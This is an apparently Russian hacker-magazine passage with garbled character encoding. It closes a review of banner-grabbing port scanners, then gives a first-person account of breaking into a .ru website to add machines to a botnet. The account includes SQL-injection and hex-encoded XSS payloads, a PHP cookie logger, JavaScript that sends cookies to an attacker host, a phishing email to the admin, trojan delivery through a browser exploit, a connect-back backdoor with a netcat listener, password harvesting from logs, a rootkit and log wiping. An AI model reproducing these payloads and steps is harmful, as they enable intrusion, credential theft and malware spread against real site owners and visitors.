-mm � ìíîãîñòðî÷íûé ðåæèì, 

â êîòîðîì ñ ñåðâèñà ñ÷èòûâàåòñÿ 
íå ïåðâàÿ ñòðîêà ïðèâåòñòâèÿ, 
à âñå ñîîáùåíèÿ

-ss � èòîãîâûé îò÷åò ïîñëå îêîí÷àíèÿ ñêàíà

Ïîñëå çàïóñêà è ïåðåäà÷è ïàðàìåòðîâ íóæ-
íî óêàçàòü, êàêèå èìåííî ïîðòû òåáÿ èíòå-
ðåñóþò.

îñîáåííîñòè Ýòó óòèëèòó î÷åíü óäîáíî
èñïîëüçîâàòü êàê äëÿ ïîèñêà æèâûõ õîñòîâ
âîîáùå, òàê è äëÿ îïðåäåëåíèÿ áàæíîãî
ñåðâèñà, êîòîðûé ìîæíî ïîýêñïëóàòèðî-
âàòü. Êñòàòè, òàê î÷åíü ìíîãèå è ïîñòóïàþò:
èùóò ïàáëèê-ñïëîèòû äëÿ ôòï, telnetd, smtp,
çàïóñêàþò ãðàááåð â ôîíîâîì ðåæèìå, íàò-
ðàâëèâàÿ åãî íà ñëó÷àéíóþ ñåòü. Êîãäà çà-
êîí÷èòñÿ ïðî÷åñûâàíèå ïîäñåòêè, âçëîì-
ùèê èùåò â îò÷åòå ìàøèíû ñ óñòàíîâëåí-
íûì äûðÿâûì äåìîíîì è ïîïðîñòó ðóòàþò
òà÷êó áåç îñîáûõ óñèëèé.

âûâîäû TESO ïèøóò îòëè÷íûå ïðîäóêòû,
è ñ ïîìîùüþ ýòîãî ãðàááåðà êó÷à õàêåðîâ
ñêàíèðóþò îãðîìíûå ñåòè, îòûñêèâàÿ òîëü-
êî ëèøü çàâåäîìî áàæíûå ìàøèíû. Íåãî-
äÿè, êîíå÷íî, íî ÷òî ïîäåëàòü. 
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PP00FF
http://lcamtuf.coredump.cx/p0f.tgz

îïèñàíèå Skin � ýòî î÷åíü áûñòðûé
ïîðòñêàíåð, êîòîðûé íåïëîõî îïðåäåëÿåò
ñåðâèñû.

èñïîëüçîâàíèå
Çàïóñêàåòñÿ ñêàíåð î÷åíü ïðîñòî:

$ skin [options] hostname

Îñíîâíûå îïöèè ñîôòèíû:
-ssTT îáû÷íîå TCP ñêàíèðîâàíèå
-ssSS èñïîëüçóåòñÿ syn ôëàã, áåç óñòàíîâêè
ñîåäèíåíèÿ (êàê â nmap'e)
-ssVV ñíÿòèå áàííåðîâ ñî ñëóæá
Ìîæíî òàêæå ïðîñêàíèòü õîñò, à ïîòîì, ïðî-
÷èòàâ äàííûå èç ëîãôàéëà, ïðîèçâåñòè ïðî-
âåðêó áàííåðîâ.

îñîáåííîñòè Ýòîò ñêàíåð ñîçäàí ïî ìî-
äóëüíîé àðõèòåêòóðå è ê íåìó î÷åíü ëåãêî
äîáàâëÿòü íîâûå ïëàãèíû, ðàñøèðÿÿ ôóíê-
öèîíàëüíîñòü.

âûâîäû Âîîáùå, ýòîò ïðîåêò âûãëÿäèò
íåìíîãî çàáðîøåííûì, îäíàêî èñïîëüçî-
âàòü ýòîò ñêàíåð ìîæíî, åñëè íóæíî ÷òî-òî
áûñòðîå è ëåãêîå è íåò âðåìåíè íà ñáîðêó
ãðîìîçäêèõ ïðîåêòîâ.

[ñåòåâûå ãðàáèòåëè]

Äëÿ íà÷àëà ïðîÿñíþ íåêîòîðûå îáùåçàòàñêàííûå âîïðîñû, ÷òîáû
áîëüøå ê íèì íèêòî íå âîçâðàùàëñÿ. ×òî æå òàêîå áàííåð ñåðâèñà?
Ýòî ïðèâåòñòâåííîå ñîîáùåíèå, âûäàâàåìîå ñåðâåðîì ïðè ïîäêëþ÷å-
íèè. Ïðåäñòàâèì, ÷òî ó ìåíÿ íà ëîêàëüíîé ìàøèíå çàïóùåí pureftpd.
Êîãäà ÿ ïðèñîåäèíþñü ê íåìó ñòàíäàðòíûì ftp-êëèåíòîì, ïîêàæåòñÿ
ïðèìåðíî òàêàÿ âîò êàðòèíà:

220---------- Welcome to Pure-FTPd ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 20:33. Server port: 21.
220 You will be disconnected after 15 minutes of inactivity.

\

Âîò ýòî è åñòü «áàííåð» ftp-ñåðâèñà. Âîîáùå, banner ìîæåò âûãëÿäåòü
ïî-äðóãîìó, à ìîæåò è âîâñå îòñóòñòâîâàòü. ×àùå âñåãî â íåì óêàçàíà
âåðñèÿ ñåðâèñà (íàïðèìåð, äëÿ SSH ýòî áóäåò çàïèñü òàêîãî âèäà:
SSH-1.99-OpenSSH_3.6.1p2) ëèáî äðóãîé òåêñò, óêàçàííûé àäìèíèñò-
ðàòîðîì (Narkomany Go Home, ê ïðèìåðó) ïðè íàñòðîéêå äåìîíà.
Âïðî÷åì, ÷àùå âñåãî ïðèâåòñòâåííîå ñîîáùåíèå íå òðîãàþò, è ïîýòî-
ìó ñòàíîâèòñÿ âîçìîæíûì îïðåäåëèòü âåðñèþ äåìîíà è äàæå ïîäîá-
ðàòü ê íåé ðàáîòàþùèé public-ýêñïëîéò. Êñòàòè, äåìîí ïðè îïðîñå ìî-
æåò êîñâåííî âûäàòü è èíôó îá óñòàíîâëåííîé íà ìàøèíå îïåðàöèîí-
êå, ÷òî, ñîáñòâåííî, âçëîìùèêàì òîëüêî íà ðóêó. Èìåííî ïîýòîìó ban-
ner grabbing (ñáîð áàííåðîâ � àíãë.) äëÿ âçëîìùèêà î÷åíü âàæåí, äà-
æå íàìíîãî áîëüøå, ÷åì îïðåäåëåíèå âåðñèè óäàëåííîé îïåðàöèîíêè.
Äëÿ ýòèõ öåëåé áûâàëûìè õàêåðàìè áûëî íàïèñàíî îãðîìíîå ìíîæå-
ñòâî óòèëèò è ñïåöïðîãðàìì, çàíèìàþùèõñÿ ýòèì íåõèòðûì äåëîì :).

[êîíåö ãåîãðàôèè] Íó âîò, ýòî âñå, ÷òî ÿ õî-
òåë òåáå ðàññêàçàòü ïî ýòîé òåìå. Îïèñàííûå
óòèëèòû ïðåäíàçíà÷åíû äëÿ ðàáîòû ïîä UNIX,
õîòÿ íåêîòîðûå (siphon, nmap) òû ìîæåøü íàé-
òè ïîðòèðîâàííûìè ïîä âèíäó. À åñëè òåáå ýòî-
ãî ìàëî, òî ñêà÷àé ëþáîé ïðîäâèíóòûé security-
scanner, êîòîðûé íàäåëåí âñåìè íóæíûìè ôè-
÷àìè (SSS, Retina, Fluxay, Xspider è òàê äàëåå).
È åùå îäíî, âñå ñîôòèíû ÿ òåñòèðîâàë ïîä
Mandrake Linux 9.2 ñ óñòàíîâëåííîé èç ïàêåòîâ
libpcap. Êàê ìíå êàæåòñÿ, íà òîé æå FreeBSD
5.3 ñ ïîëïèíêà çàñòàâèòü âñå ïðîãðàììû çàðà-
áîòàòü íå ïîëó÷èòñÿ :). Âñå ïðîãðàììû íóæíî
çàïóñêàòü ïîä ðóòîì, òàê êàê îíè èñïîëüçóþò
raw-ñîêåòû, ICMP è äðóãèå âåùè, êîòîðûå
îáû÷íûì ïîëüçîâàòåëÿì äî 18 çàïðåùåíûïîñòàâü ïðîâåðêó íà ïîòîê!





Èñòîðèÿ î òîì, 
êàê ïîïîëíÿþòñÿ 
õàêåðñêèå áîòíåòû
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ÏÐÎÑÍÓÂØÈÑÜ ÐÀÍÎ Â ÂÎÑÊÐÅÑÅÍÜÅ,
ÂÊËÞ×ÈÂ &RQ È ÏÎÑÒÀÂÈÂ ÑÒÀÒÓÑ Â
ÈÍÂÈÇÈÁË, ß ÕÎÒÅË ÇÀÊÎÍ×ÈÒÜ ÍÅÄÀÂ-
ÍÎ ÍÀ×ÀÒÎÅ ÄÅËÎ � ÂÇËÎÌÀÒÜ ÎÄÈÍ
ÑÀÉÒ Â ÇÎÍÅ .RU, ÊÎÒÎÐÛÉ ÁÛË ÄÎÑÒÀ-
ÒÎ×ÍÎ ÏÎÏÓËßÐÍÛÌ È ÏÎÑÅÙÀÅÌÛÌ.
ÝÒÎ ÏÎÍÀÄÎÁÈËÎÑÜ ÌÍÅ ÄËß ÒÎÃÎ,
×ÒÎÁÛ ÂÎÇÐÎÄÈÒÜ ÏÎÒÅÐÈ ÌÎÅÃÎ ÁÎÒ-
ÍÅÒÀ, ÍÎ, Ê ÑÎÆÀËÅÍÈÞ, ÁÎÒÛ ÓÌÈÐÀ-
ÞÒ ÄÎÂÎËÜÍÎ ÁÛÑÒÐÎ :(. ÂÊËÞ×ÈÂ
ÁÐÀÓÇÅÐ È ÏÎÄÊËÞ×ÈÂ ÑÂÅÆÈÉ ÀÍÎ-
ÍÈÌÍÛÉ ÏÐÎÊÑÈ, ß ÏÐÈÑÒÓÏÈË Ê ÏÎ-
ÏÎËÍÅÍÈÞ ÑÂÎÅÉ ÑÅÒÈ ÇÎÌÁÈ-ÌÀØÈÍ
| _1nf3ct0r_ (dr.pascal@mail.ru)

[ðàçáîðêè ñ ERROR500] Ñòðàíèöà áûñòðî çàãðó-
çèëàñü è ïåðåäî ìíîé ïðåäñòàëî ìåíþ íàâèãàöèè ïî
ñàéòó. ×òîáû ïîëó÷èòü äîñòóï ê íåêîòîðûì äîïîëíè-
òåëüíûì ñåðâèñàì, ÿ çàðåãèñòðèðîâàëñÿ íà ñàéòå.
Ïåðâûå ïÿòü ìèíóò áåñïîëåçíîãî òûêàíèÿ ïî ññûë-
êàì ñîâåðøåííî íè÷åãî ïîëåçíîãî íå ïðèíåñëè. ß íè-
êîãäà íå ëþáèë ðó÷íîé ïîèñê ñêðèïòîâ è ðåøèë ïðîñ-
êàíèðîâàòü ðåñóðñ ïðè ïîìîùè íåäàâíî ñêà÷àííîãî è
íåèñïðîáîâàííîãî ïàêåòà NRG-tools, êîòîðûé èìåë â
ñåáå ôóíêöèþ web-àíàëèçàòîðà, ñêàíèðóþùåãî
ñòðóêòóðó ñàéòà.
Ñêàíåð âûäàë ìíå êó÷ó ññûëîê, è ÿ ïðèíÿëñÿ èñêàòü
áàæíûé ñêðèïò. Íåêîòîðîå âðåìÿ íà ãëàçà íè÷åãî ïî-
äîçðèòåëüíîãî íå ïîïàäàëîñü, íî âñêîðå ÿ óâèäåë
î÷åíü èíòåðåñíûé ïî ñâîåìó âèäó ëèíê � www.vic-
tim.ru/sjok.php?id=86. Òû óæå, íàâåðíîå, äîãàäàëñÿ,
÷òî ÿ õîòåë ñäåëàòü. Íå áóäó òÿíóòü êîòà çà õâîñò è ñêà-
æó, ÷òî ñêðèïò áûë áîëåí SQL-èíúåêöèåé. Ïîñëå ïðî-
âåðêè ñêðèïòà íà äàííóþ óÿçâèìîñòü (www.victim.ru/
sbsctl.php?id=86') áûëà âûäàíà ñëåäóþùàÿ îøèáêà:
INTERNAL SERVERAL ERROR 500.
Òû ñïðîñèøü, ïðè÷åì òóò SQL-èíúåêöèÿ? À ïðè òîì,



åñëè ïîñëå òåñòèðîâàíèÿ ñêðèïòà íà áàã ÷òî-òî èçìåíèëîñü (ñîîáùåíèå î
ëþáîé îøèáêå, â òîì ÷èñëå Error 500 èëè òîìó ïîäîáíîå), òî ñêðèïò
äåéñòâèòåëüíî óÿçâèì. Ìíå ïðèøëîñü ïîäáèðàòü íàçâàíèå òàáëèöû, ñîñ-
òàâëÿòü UNION-çàïðîñû. Ïåðâûì, ïðèøåäøèì ìíå â ãîëîâó, îêàçàëñÿ
çàïðîñ ñëåäóþùåãî âèäà:

http://www.victim.ru/sjok.php?id=-86 UNION SELECT 0,0,0,login,pass-
word,id,0,0,0,0,0 FROM _íàçâàíèå_òàáëèöû_/*

Íî, ê ñîæàëåíèþ, íå âñå ñêëàäûâà-
ëîñü â ìîþ ïîëüçó. Âî-ïåðâûõ, ÿ íå
îáëàäàë äîñòàòî÷íîé êâàëèôèêà-
öèåé äëÿ îðãàíèçàöèè ýòîé àòàêè, à
âî-âòîðûõ, ó ìåíÿ íå áûëî íèêàêèõ
ïîäñêàçîê äëÿ òîãî, ÷òîáû âûòà-
ùèòü çàïèñè èç ÁÄ:

1 Ìíå íå áûëî èçâåñòíî íàçâà-
íèå òàáëèöû

2 Ìíå íå áûëè èçâåñòíû íàçâà-
íèÿ êîëîíîê
Ïîñëå ÷àñà ïåðåáîðà íàçâàíèé
òàáëèö ìíå çàõîòåëîñü íàéòè êà-
êîé-íèáóäü äðóãîé áàã, áëàãîäàðÿ

êîòîðîìó ÿ áû ñìîã ïîëó÷èòü øåëë. Íî ê ìîåìó îãîð÷åíèþ, ñàéò íå îñîáî
ðàäîâàë ìåíÿ îáèëèåì ñêðèïòîâ, à ýòîò áàã, êàê ìíå êàçàëîñü, áûë åäèí-
ñòâåííûì :(. Íà ñàéòå êðóòèëñÿ ôîðóì phpBB ïîñëåäíåé âåðñèè. Â ïóáëè÷-
íûõ èñòî÷íèêàõ ýêñïëîéòîâ ê íåìó íå áûëî, íà ïîêóïêó ïðèâàòíîé îòìû÷êè
ó ìåíÿ íå áûëî ëèøíèõ äåíåã, òåì áîëåå ïîêóïàòü áûëî íå ó êîãî.
Çàáèòü íà òàêîé ñàéò ìíå íå îñîáî õîòåëîñü, ïîýòîìó ÿ ðåøèë íå ñäà-
âàòüñÿ. Åùå ðàç ïðîâåðèë ñàéò íà áàãè, íî îïÿòü âñå áåçóñïåøíî. Íî ýòî
íå ïðîáëåìà! ß íåìíîãî ïîäóìàë è ðåøèë çàþçàòü àòàêó SiXSS.

[SiXSS â ïîäàðîê!] ×òî çà SiXSS? Èòàê, ïîÿñíÿþ. Ýòî ðàñøèôðîâûâà-
åòñÿ êàê SQL injection Cross Site Scripting � äâà âèäà àòàê, ñîâìåùåííûõ
â îäíó: SQL-èíúåêöèÿ äëÿ ìåæñàéòîâîãî ñêðèïòèíãà. Òàêóþ àòàêó ìîæíî
îñóùåñòâèòü áëàãîäàðÿ òîìó, ÷òî SQL-çàïðîñ âèäà UNION SELECT ìîæåò
âûâîäèòü ïðîèçâîëüíûé òåêñò íà ñòðàíèöó. Åñëè òû íå çíàêîì ñ äàííîé
òåõíîëîãèåé àòàêè, òî ñîâåòóþ ïðî÷èòàòü ñòàòüþ î SiXSS â ñòàòüå î ïðîä-
âèíóòûõ SQL-èíúåêöèÿõ, êîòîðóþ ìîæíî îòûñêàòü íà www.securitylab.ru.
Äëÿ íà÷àëà ÿ ðåøèë ïðîâåðèòü, ìîæíî ëè çàþçàòü äàííûé áàã íà âðà-
æåñêîì õîñòå. 
Íåìíîãî ïîìó÷èâøèñü ñ SQL-èíúåêöèåé äëÿ ìåæñàéòîâîãî ñêðèïòèíãà,
ÿ ïðèøåë ê òàêîìó çàïðîñó:

+union+select+('<script>alert("Hello, World ;)");</script>');--

Íî îí òîæå íå áûë ðàáîòîñïîñîáíûì. Íàñêîëüêî ÿ ïîíÿë, ñêðèïò èñïîëü-
çîâàë âêëþ÷åííóþ ôóíêöèþ magic_quotes, ïîýòîìó ÿ èñïîëüçîâàë îáõîä
ýòîé ôè÷è (îá ýòîì íàïèñàíî â ñòàòüå, êîòîðóþ ÿ óæå óïîìèíàë) ïðîñòîé
êîíñòðóêöèåé: 0x_êîä_ñèìâîëà_. Âîò ÷òî ïîëó÷èëîñü:

+union+select+0x3C7363726970743E616C657274282248656C6C6F2C2
0776F726C64203B2922293B3C2F7363726970743E2D2D

Çäåñü
3C7363726970743E616C657274282248656C6C6F2C20776F726C64203
B2922293B3C2F7363726970743E2D2D ýòî òîæå ñàìîå, ÷òî è
('<script>alert("Hello, World ;)");</script>');--
ß ïîäñòàâèë ýòî â çíà÷åíèå ïåðåìåííîé id è îáíîâèë ñòðàíèöó, íî íà-
äåæäû íà óäà÷íóþ SiXSS-àòàêó íå áûëî. Ê ìîåìó âåëèêîìó óäèâëåíèþ,
ïåðåäî ìíîé ïîÿâèëîñü ïðèâåòñòâèå! Êîãäà ñêðèïòû çäîðîâàþòñÿ ñ òî-
áîé, òî ýòî ê ñ÷àñòüþ! :)
Îñóùåñòâèâ XSS-ïðèâåòñòâèå, ÿ íå îñîáî îáðàäîâàëñÿ, òàê êàê î÷åíü íå
õîòåëîñü ìó÷èòüñÿ ñ êóêèñàìè è ñîöèàëüíîé èíæåíåðèåé. Õî÷åòñÿ ñêà-
çàòü, ÷òî XSS-àòàêè äîâîëüíî àêòóàëüíû, ïðèìåðû òîìó � XSS íà
narod.ru, mail.ru, rambler.ru, newmail.ru è äàæå microsoft.com. Åñëè XSS �
òâîé ïðîáåë â çíàíèÿõ, òî ÷èòàé ïîäøèâêó Õàêåðà. Íî âåðíåìñÿ ê ìîå-
ìó âçëîìó. Äëÿ íà÷àëà ÿ, êîíå÷íî, ñîñòðÿïàë äî áîëè çíàêîìûé PHP-
ñêðèïò (css.php) è çàëèë åãî íà çàáóãîðíûé øåëë â çîíå .it:

<?
if ($QUERY_STRING=="") exit;
$a=fopen ("data.dat","a+");
fwrite($a, "$QUERY_STRING" \n\n");
fclose($a);
echo "Uz3r_X553d";
mail ("lala-344-lol@mail.ru", "Uzer_waz_XSSed!_Eat_his_cookies! :)",

web-àíàëèçàòîð NRG tools



"$QUERY_STRING"); 
?>

Ñêðèïò ðàñïîëàãàëñÿ ïî àäðåñó www.xss-shell.it/css.php. Ñëåäóþùèé
øàã � íàïèñàíèå java-ñêðèïòa, êîòîðûé áû ïðèíèìàë ÷óæèå êóêèñû:

>asd</a><script language="javascript">open('http://www.xss-
shell.it/css.php?'+document.cookie); </script><a>

ß ïðèâåë åãî ê øåñòíàäöàòåðè÷íîìó âèäó è ïîëó÷èë â èòîãå ÷òî-òî âðî-
äå ýòîãî:

+union+select0x3E6173643C2F613E3C736372697074206C616E67756167
653D226A617661736372697074223E6F70656E2827687474703A2F2F777
7772E7873732D7368656C6C2E69742F6373732E7068703F272B646F637
56D656E742E636F6F6B6965293B203C2F7363726970743E3C613E2D2D

Íåõèëî, ïðàâäà? Äëÿ òàêîãî êîäèðîâàíèÿ ÿ âîñïîëüçîâàëñÿ îáû÷íûì
ñèøíûì ïåðåêîäèðîâùèêîì, êîòîðûé íàøåë â Ñåòè. Ïðè íåõâàòêå òðà-
ôèêà è âðåìåíè ìîæíî âîñïîëüçîâàòüñÿ WinHex'îì, êîòîðûé, íàâåðíîå,
åñòü ó êàæäîãî «äæåíòëüìåíà» :).
Îäíàêî, åñëè âïàðèòü òàêóþ ññûëêó àäìèíó, îí çàïîäîçðèò ÷òî-òî íå
ëàäíîå :). Ìû ñäåëàåì ñëåäóþùåå:

1 Îòïðàâèì àäìèíó ïèñüìî ñ ñîîáùåíèåì î áèòîé ññûëêå, âñòàâèâ â
ïèñüìî òàêîé êîä:

<body>
<p><a
href="http://www.victim.ru/sjok.php?id=%2B%75%6E%69%6F%6E%2B
%73%65%6C%65%63%74%2B0x3E6173643C2F613E3C736372697074
206C616E67756167653D226A617661736372697074223E6F70656E282
7687474703A2F2F7777772E7873732D7368656C6C2E69742F6373732E
7068703F272B646F63756D656E742E636F6F6B6965293B203C2F73637
26970743E3C613E2D2D">http://www.victim.ru/asd.html</a>.
</p>
</body>

2 Áðàóçåð IE � çëî, òàê êàê îí îòêðîåò äâå ñòðàíèöû (îòêðûâàþùóþ êó-
êèñû è ñòðàíèöó, íà êîòîðóþ ÿ ïðîâîäèë àòàêó). Äëÿ òîãî ÷òîáû óçíàòü,
êàêîé ó àäìèíà áðàóçåð, ÿ ñîçäàë òåìó íà ôîðóìå «Êàêîé áðàóçåð ëó÷-
øå» è ïðè ïîìîùè êëàññè÷åñêîãî ïðèåìà ñîöèàëüíîé èíæåíåðèè óçíàë,
÷òî àäìèí þçàåò Opera.

3 Çàéäÿ íà ñòðàíèöó Îïåðîé, àäìèí ìîæåò çàïàíèêîâàòü. ×òîáû ïîáå-
ðå÷ü åìó íåðâû, ÿ îïÿòü ìîäèôèöèðîâàë ëèíê, âñòàâèâ òóäà ôóíêöèþ
document.write ("Çäåñü òåêñò âèäà 'Îøèáêà 404-ñòðàíèöà íå íàéäåíà'").
Îäíàêî ýòî óæå òîíêîñòè, ÿ íå áóäó òåáÿ ìó÷èòü ïåðåêîäèðîâêîé � ïóñòü
ññûëêà îñòàíåòñÿ ïðåæíåé.

[aäìèí â XSS-êàïêàíå] Òåïåðü îñòàëîñü òîëüêî ïðîÿâèòü íàâûêè ñî-
öèàëüíîé èíæåíåðèè è çàìàíèòü àäìèíà â ìîé êàïêàí.
Òå, êòî íå çíàêîì ñ XSS-àòàêàìè è ÷èòàë íåâíèìàòåëüíî, íàâåðíîå,
ñïðîñÿò: «À ïðè÷åì òóò ñîöèàëüíàÿ èíæåíåðèÿ?». Òàê âîò, îòâå÷ó. Äàí-
íóþ ññûëêó ìû áóäåì âïàðèâàòü àäìèíèñòðàòîðó ñàéòà, ÷òîáû óêðàñòü
åãî êóêèñû, çàòåì ïîäìåíèòü åãî êóêèñû ñâîèìè è çàéòè â àäìèíêó, 
êîòîðàÿ ðàñïîëàãàëàñü â äèðåêòîðèè /admin.
Âñå øëî êàê ïî ìàñëó: ÿ îòîñëàë ëèíê, çàìàñêèðîâàííûé ïîä áèòóþ
ññûëêó. Îñòàâàëîñü æäàòü îòâåò ïèñüìà îò ñêðèïòà css.php è íå çàãó-
ëèâàòüñÿ, òàê êàê cookies'û èìåþò òàêîé íåäîñòàòîê, êàê «ïîòåðÿ ñðî-
êà ãîäíîñòè» :). ß çàðåãèñòðèðîâàë e-mail lala-344-lol@mail.ru, êîòîðûé
óêàçàë ïðè íàïèñàíèè ñêðèïòà (ïîçæå, äëÿ ñîáñòâåííîé æå áåçîïàñ-
íîñòè, ÿ óäàëèë e-mail).

[êëþíóë!] Áûëî ïîçäíî, ÿ óæå, âûêëþ÷àÿ &RQ, ñîáèðàëñÿ â îô-
ôëàéí, êàê â äðóã ëåòó÷àÿ ìûøü ïðèíåñëà ìíå ïèñüìî ñ òåìîé
Uzer_waz_XSSed!_Eat_his_cookies! :) ñ êóêèñàìè â òåëå ïèñüìà! Ñîí
ñðàçó êàê ðóêîé ñíÿëî. ß îòêðûë ïèñüìî è íàøåë àäìèíñêèå êóêèñû :).
Âñêîðå, âðó÷íóþ ïîäìåíèâ âûïå÷êó, ÿ ñòàë àäìèíîì �  ìîã âîéòè â ñà-
ìîïèñíóþ àäìèíêó, ãäå ìîè âîçìîæíîñòè îãðàíè÷èâàëèñü çàëèâêîé
ôàéëîâ è òåêñòîâûì ðåäàêòîðîì ìàòåðèàëîâ. Â ãëàâíóþ ñòðàíèöó ÿ
âíåäðèë âðåäîíîñíûé êîä, èñïîëüçóþùèé èçâåñòíûé áàã â IE, ê êîòî-
ðîìó óæå íàïèñàí ãîòîâåíüêèé ñïëîèò � UNIVERSAL .ANI files handling
exploit, óêàçàâ åìó ïóòü ê òðîÿíó (www.infectors.narod.ru/server.exe) è
ïîðò, îòêðûâàþùèéñÿ íà ñòîðîíå þçâåðÿ (ÿ âûñòàâèë 800). Ïîñëå òîãî
êàê ñïëîèò ñãåíåðèðîâàë âðåäîíîñíûé HTML-êîä, ÿ âñòàâèë åãî íà
ãëàâíóþ ñòðàíèöó XSS'íóòîãî ñàéòà :).

[ïðîíèêíîâåíèå â êîíñîëü] Â ïðèíöèïå, äåëî áûëî ñäåëàíî, íî
÷òî-òî ìåíÿ ïîäòàëêèâàëî çàõâàòèòü âñþ ñèñòåìó è äîáèòüñÿ ìàêñè-
ìàëüíûõ ïðèâèëåãèé, ïîðóòàòü ìàøèíêó. ß çàëèë øåëë îò RST, íåìíîãî
ïîëàçàë ïî ïàïêàì, òàê êàê PHP-øåëëû î÷åíü óäîáíû äëÿ íàâèãàöèè ïî
ñèñòåìå. Òóò ÿ ïî ïðèâû÷êå ñêîìàíäîâàë wget, ÷òîáû ñêà÷àòü connect-
back áýêäîð, íî, óâû... íèêàêèõ êà÷àëîê íà ñåðâàêå íå áûëî îáíàðóæåíî.
ß óæå íà÷àë êîìàíäîâàòü cat, íî çà÷åì ëèøíèé ãåìîð? ß âçÿë è çàêà÷àë
åãî ÷åðåç àäìèíêó â êàòàëîã /tmp :).
Çàòåì ñêîìïèëèðîâàë êîìàíäîé gcc /tmp/cbd.c -o /tmp/cbd, è ïîñëå ýòî-
ãî ìíå îñòàâàëîñü òîëüêî çàïóñòèòü áýêäîð íà 31337 ïîðòó, à òàêæå ïðî-
ïèñàòü ïàðàìåòð áýêäîðà, ÷òîáû îí ñòóêíóëñÿ íà ìîé èòàëüÿíñêèé øåëë
www.xss-shell.it (äîïóñòèì, åãî IP-àäðåñ áóäåò 123.456.78.90).

./cbd 123.456.78.90

Çàòåì ÿ çàïóñòèë íà ñâîåì èòàëüÿíñêîì øåëëå netcat:

[root@italia]# nc -l -p 31337

Ïîñëå ýòîãî áýêäîð óäà÷íî ïðèêîííåòêèëñÿ. Äëÿ íà÷àëà ÿ âûïîëíèë êî-
ìàíäó id, â êîòîðîé ãîâîðèëîñü î òîì, ÷òî ìîè ïðèâèëåãèè apache � ýòî
òî æå, ÷òî è nobody, çàòåì âûïîëíèë êîìàíäó uname -a è óçíàë, ÷òî ýòî
î÷åðåäíàÿ Linux-ñèñòåìà, êîòîðàÿ, ê ìîåìó óäèâëåíèþ, áûëà ïðîïàò÷å-
íà � òàêîãî ÿ îò àäìèíà íå îæèäàë :). Ïîðûòüñÿ â history-ôàéëàõ (äëÿ
mysql è èíòåðïðåòàòîðà bash) íå óäàëîñü, òàê êàê íà íèõ ñòîÿë àòðèáóò
644. Ìåíÿ î÷åíü ïðèâëåêëà äèðåêòîðèÿ root, êîòîðàÿ òàêæå áûëà çàêðû-
òà îò ìîèõ ãëàç.

[íåõîðîøî ïîëó÷èëîñü] Ïîëó÷àëîñü êàê-òî íåõîðîøî, âåäü â ìîèõ
öåëÿõ áûëî ïàðà ùåë÷êîâ ìûøè è çàïóñê ýêñïëîéòà, êîòîðûé áû ïîðó-
òàë ÿäðî íåïðîïàò÷åííîé ñèñòåìû :). Çà îêíîì ñâåòàëî, è ÿ âñå-òàêè
ðåøèë ïîñïàòü.
Ñ óòðà ÿ çàìåòèë äèðåêòîðèþ /logs, çàéäÿ â êîòîðóþ, ÿ íàøåë êó÷ó ëîãîâ
Apache, äîñòóïíûõ ìíå äëÿ ÷òåíèÿ; èõ ðàçìåð äåéñòâèòåëüíî óäèâèë ìå-
íÿ. Ïåðåáèðàòü òàêèå ôàéëû âðó÷íóþ � óæàñíåéøèé ãåìîððîé, ïîýòî-
ìó ÿ çàþçàë ñêðèïò, íàïèñàííûé Sashiks'îì â ñòàòüå «Óíèâåðñèòåòñêèé
õàê», â èþíüñêîì âûïóñêå X. Ýòîò ñöåíàðèé èùåò â êàæäîé ñòðîêå ñëî-
âî pass è ïîìåùàåò åãî â îòäåëüíûé ôàéë:

#!/usr/bin/perl
$dir="/var/apache/logs";
opendir(DIR,$dir)
@a=readdir DIR;
foreach(@a){
print "Searching $_ ... \n";
system("cat $dir/$_ |grep pass>>/tmp/tempfile.txt");
}
print "Done \n";

Äóìàþ, ïîÿñíÿòü ðàáîòó ñêðèïòà íå íàäî. Ïîêà ñêðèïò òðóäèëñÿ, 
ÿ óñåðäíî ïîæèðàë âñå, ÷òî áûëî â õîëîäèëüíèêå. ×åðåç íåêîòîðîå
âðåìÿ, îáðàòèâøèñü ê ôàéëó tempfile.txt, ÿ íàøåë îãðîìíîå êîëè÷å-
ñòâî ïàññîâ, îäèí èç êîòîðûõ ïîäõîäèë ê àäìèíêå. Ïàðîëü ïîäîøåë
ê SSH è ê FTP, íî ýòîò àêêàóíò âõîäèë â ãðóïïó wheel, à åãî ïàðîëü,
êàê ÿ óáåäèëñÿ, ñîâïàäàë ñ ðóòîâûì! Òàêèì îáðàçîì, ÿ ïîëó÷èë ïîë-
íûé äîñòóï ê âðàæåñêîé ìàøèíå.
Çàòåì óñòàíîâèë íà òà÷êó ðóòêèò SHV4 îò «øêóïè õàêåðñ», ïî÷èñòèë ëî-
ãè ëîãâàéïåðîì äëÿ Linux Vanish, óäàëèë ïàëåâíûé øåëë, ñîõðàíèë ñåáå
íà HDD êîïèþ ôàéëà /etc/passwd è íåìíîãî ïîèãðàëñÿ ñ çàõâà÷åííîé
ìàøèíîé, óñòàíîâèâ òóäà ïðîêñè :).

[õýïïè ýíä] À òåïåðü äàâàé ñäåëàåì âûâîäû.
Âî-ïåðâûõ, XSS-àòàêè � ýòî íå øóòêà, è ìíîãèå íà÷èíàþùèå õàêå-
ðû è àäìèíû ïðîñòî çàáèâàþò íà ýòó óÿçâèìîñòü, òàê êàê ñ÷èòàþò åå
áåñïîëåçíîé. ß î÷åðåäíîé ðàç äîêàçàë, ÷òî ýòî íå òàê. Âî-âòîðûõ, íèêîã-
äà íå äîâåðÿé ññûëêàì, êîòîðûå òåáå ïðèñûëàþò ïî ïî÷òå. Íå ñëåäóåò
äåëèòüñÿ ñ ñîáåñåäíèêàìè íà ôîðóìàõ î òîì, êàêîé òû èñïîëüçóåøü
áðàóçåð, äàæå åñëè î÷åíü õî÷åòñÿ ïîòåøèòü ñàìîëþáèå. 
Â òðåòüèõ, ëîãè � ëàêîìûé êóñî÷åê äëÿ õàêåðà, ñòàðàéòåñü îãðàíè÷èòü
äîñòóï êî ÂÑÅÌ ëîãàì. Àäìèíèñòðàòîð ïðàâèëüíî ñäåëàë, ÷òî ïîñòàâèë
644 àòðèáóò íà âñå history-ôàéëû. Òàêæå íå ñòîèò þçàòü IE, òàê êàê âñå
ñïëîèòû, êîòîðûå íàõîäÿòñÿ â ïàáëèêå, � ýòî 10�20% âñåõ íàéäåííûõ
áàãîâ â ïîïóëÿðíîì áðàóçåðå. Íèêòî íå ñïåøèò ðàçäàâàòü èõ íàïðàâî 
è íàëåâî, òàê êàê íà íèõ çàðàáàòûâàþò íåìàëûå äåíüãè.
Íî äàæå ïðè ïîìîùè ýòîãî äðåâíåãî ïàáëèê-ñïëîèòà ÿ íåïëîõî ïðèïîä-
